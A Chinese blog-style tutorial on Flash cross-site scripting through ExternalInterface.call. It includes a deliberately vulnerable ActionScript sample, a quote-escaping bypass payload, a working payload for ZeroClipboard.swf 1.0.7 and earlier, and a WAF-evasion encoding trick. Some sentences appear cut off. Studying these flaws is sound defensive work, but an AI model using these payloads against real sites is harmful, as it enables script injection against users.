我是一条分隔线 >..<
我们知道,.swf
文件可直接由.as
文件编译生成。
编译方案如下:
mxmlc xx.as
命令如果有任何的报错,google能帮助你。
反编译相对编译来说,对环境配置需求较低,只需反编译软件或者在线反编译网站。
比如
ActionScript(以下简称AS)
AS2和AS3都有这个对象,是专门为Flash与JavaScript通信准备的接口。
Flash中的参数传递如下:
_root.argv
形式,argv直接就是参数名;loaderInfo.parameters
形式,返回key和value的字典结构。官网定义:public static function call(functionName:String, ... arguments)
构造一个存在FlashXss的文件,文件名为FlashXss.as,内容如下。
代码做以下解释:
比如下面的代码,先执行FlashXss函数
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class FlashXss extends Sprite
{
public function FlashXss()
{
// 定义字符串变量名jsFunction,值从url的movieName获取
var jsFunction:String = loaderInfo.parameters.movieName;
// 定义字符串变量名param
var param:String = "JoyChou";
ExternalInterface.call(jsFunction, param);
}
}
}
编译,访问http://localhost/pentest/xss/FlashXss.swf?movieName=alert
,效果如下图
利用上面的代码和ie进行flash xss的调试,F12打开ie的开发人员工具 => 脚本 => 启动调试 => 全部中断,再访问url即可中断下来。
代码:
try { __flash__toXML(alert("JoyChou")) ; } catch (e) { "<undefined/>"; }
上面这段代码是ExternalInterface.call底层代码。
这段代码会先执行alert("JoyChou")
,然后将alert("JoyChou")
的返回值传入__flash__toXML
函数。
继续F11步入__flash__toXML函数,我们可以看到__flash__toXML内部代码,不过这都不重要了,重要是已经执行了alert函数。
function __flash__toXML(value) {
var type = typeof(value);
if (type == "string") {
return "<string>" + __flash__escapeXML(value) + "</string>";
} else if (type == "undefined") {
return "<undefined/>";
} else if (type == "number") {
return "<number>" + value + "</number>";
} else if (value == null) {
return "<null/>";
} else if (type == "boolean") {
return value ? "<true/>" : "<false/>";
} else if (value instanceof Date) {
return "<date>" + value.getTime() + "</date>";
} else if (value instanceof Array) {
return __flash__arrayToXML(value);
} else if (type == "object") {
return __flash__objectToXML(value);
} else {
return "<null/>"; //???
}
}
代码如下:
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class FlashXss extends Sprite
{
public function FlashXss()
{
// 定义字符串变量名jsFunction,值从url的movieName获取
var param:String = loaderInfo.parameters.movieName;
ExternalInterface.call("console.log", param);
}
}
}
当访问,http://localhost/pentest/xss/FlashXss.swf?movieName=test"
对应的底层代码是
try { __flash__toXML(console.log("test\"")) ; } catch (e) { "<undefined/>"; }
此时如果能将双引号绕过,那么就可以任意执行js代码。
当注入代码中含有"
符号,被会转义成\"
当注入\"
,会被转义为\\"
,这样就变成了
try { __flash__toXML(console.log("test\\"")) ; } catch (e) { "<undefined/>"; }
此时的console.log("test\\""))
的第二个引号已经变成了功能双引号,而不是字符串双引号,也就闭合了之前的双引号。
所以最后的payload为:http://localhost/pentest/xss/FlashXss.swf?movieName=\"));alert(/xss/);}catch(e){}//
此时底层代码如下,已经绕过双引号的限制。
try { __flash__toXML(console.log("\\"));alert(/xss/);}catch(e){}//")) ; } catch (e) { "<undefined/>"; }
根据这些原理,常见的flash xss已经可以随意分析了。比如ZeroClipboard.swf,swfupload.swf
漏洞文件下载地址:https://github.com/JoyChou93/FlashXss/tree/master/ZeroClipboard
ZeroClipboard.swf漏洞版本:1.0.7及以下
首先用反编译工具,将其反编译后,得到ActionScript文件,部分关键内容如下:
public class ZeroClipboard extends flash.display.Sprite
{
public function ZeroClipboard()
{
var flashvars:Object;
var loc1:*;
super();
stage.scaleMode = flash.display.StageScaleMode.EXACT_FIT;
flash.system.Security.allowDomain("*");
flashvars = flash.display.LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new flash.display.Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(flash.events.MouseEvent.CLICK, clickHandler);
// 此处的id从url获取,并且未做过滤,导致flash xss
button.addEventListener(flash.events.MouseEvent.MOUSE_OVER, function (arg1:flash.events.Event):*
{
flash.external.ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
return;
}
)
下面开始分析,首先Class名为ZeroClipboard,所以先调用ZeroClipboard函数。由于参数id从url获取,并且未做过滤,导致flash xss。
要进入button.addEventListener函数,先要成功创建button,button其中有一个参数为按钮的长、宽。
并且都是从url传入。如果不传这个参数,button自然会创建失败。
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
所以,ZeroClipboard.swf的payload为:
ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/);}//&width=500&height=500
此时对于的底层代码为:
try { __flash__toXML(ZeroClipboard.dispatch("\\"))}catch(e){alert(/XSS/);}//","mouseOver",null)) ; } catch (e) { "<undefined/>"; }
flash xss自动化扫描器在我的理解,只能扫.swf文件是否存在,是否存在漏洞,需要人工判断。
如果能自动化判断,麻烦大牛评论下文章,供我学习。
在国内,常使用的swf文件有
漏洞修复,很简单,下载最新版对应的swf文件即可。
如果是自写的swf,请做好过滤。
waf绕过
flash对于URL解码非常独特
([^0-9a-fA-F])
,比如:"%X" or "%="
"%AX" or "%A&"
al%A#e%Xrt(docum%A#ent.doma%A#in)
等价于alert(ducument.domain)
不过每个swf都有特定的payload,所以waf还是很容易拦截
http://www.cnblogs.com/kenkofox/p/3405395.html
http://blog.haohtml.com/archives/5709